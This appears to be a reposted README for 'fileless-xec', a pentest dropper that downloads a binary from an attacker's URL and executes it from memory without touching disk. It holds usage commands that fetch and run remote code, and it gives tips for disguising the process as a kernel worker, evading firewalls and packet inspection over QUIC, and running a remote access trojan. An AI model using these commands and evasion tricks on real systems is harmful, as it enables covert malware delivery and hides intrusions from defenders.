Fileless-Xec – Stealth Dropper Executing Remote Binaries Without Dropping Them On Disk

Pentest use: fileless-xec is used on target machine to stealthy execute a binary file located on attacker machine

Short story

fileless-xec enable us to execute a remote binary on a local machine directly from memory without dropping them on disk

➪ Install

• simple usage fileless-xec <binary_url> (~curl | sh for binaries)
• execute binary with specified program name: fileless-xec -n /usr/sbin/sshd <binary_raw_url>
• detach program execution from tty: setsid fileless-xec [...]

Other use cases

• Execute binary with stdout/stdin
• Execute binary with arguments
• fileless-xec self remove
• Bypass network restriction using ICMP
• Bypass firewall with HTTP3
• “Remote go”: execute go binaries without having go installed locally
• Execute a shell script
• fileless-xec server mode
  • RAT (Remote Access Trojan) scenario
• fileless-xec on windows

Stealthiness story

• The binary file is not mapped into the host file system
• The execution program name could be customizable
• Bypass 3rd generation firewall could be done with http3 support
• fileless-xec self removes once launched

memfd_create

The remote binary file is stored locally using memfd_create syscall, which store it within a memory disk which is not mapped into the file system (ie you can’t find it using ls).

fexecve

Then we execute it using fexecve syscall (as it is currently not provided by syscall golang library we implem it).

With fexecve , we could but we reference the program to run using a file descriptor, instead of the full path.

HTTP3/QUIC

QUIC UDP aka http3 is a new generation Internet protocol that speeds online web applications that are susceptible to delay, such as searching, video streaming etc., by reducing the round-trip time (RTT) needed to connect to a server.

Because QUIC uses proprietary encryption equivalent to TLS (this will change in the future with a standardized version), 3rd generation firewalls that provide application control and visibility encounter difficulties to control and monitor QUIC traffic.

If you actually use fileless-xec as a dropper (Only for testing purpose or with the authorization), you likely want to execute some type of malwares or other file that could be drop by packet analysis. Hence, with Quic enables you could bypass packet analysis and GET a malware.

Also, in case firewall is only used for allowing/blocking traffic it could happen that firewall rules forget the udp protocol making your requests go under the radars

other skill for stealthiness

Although not present on the memory disk, the running program can still be detected using ps command for example.

1. Cover the tracks with a fake program name

fileless-xec --name <fake_name> <binary_raw_url> by default the name is [kworker/u:0]

2. Detach from tty to map behaviour of deamon process

setsid fileless-xec <binary_raw_url>. WIP call setsid from code

Caveats

You could still be detected with:

$ lsof | grep memfd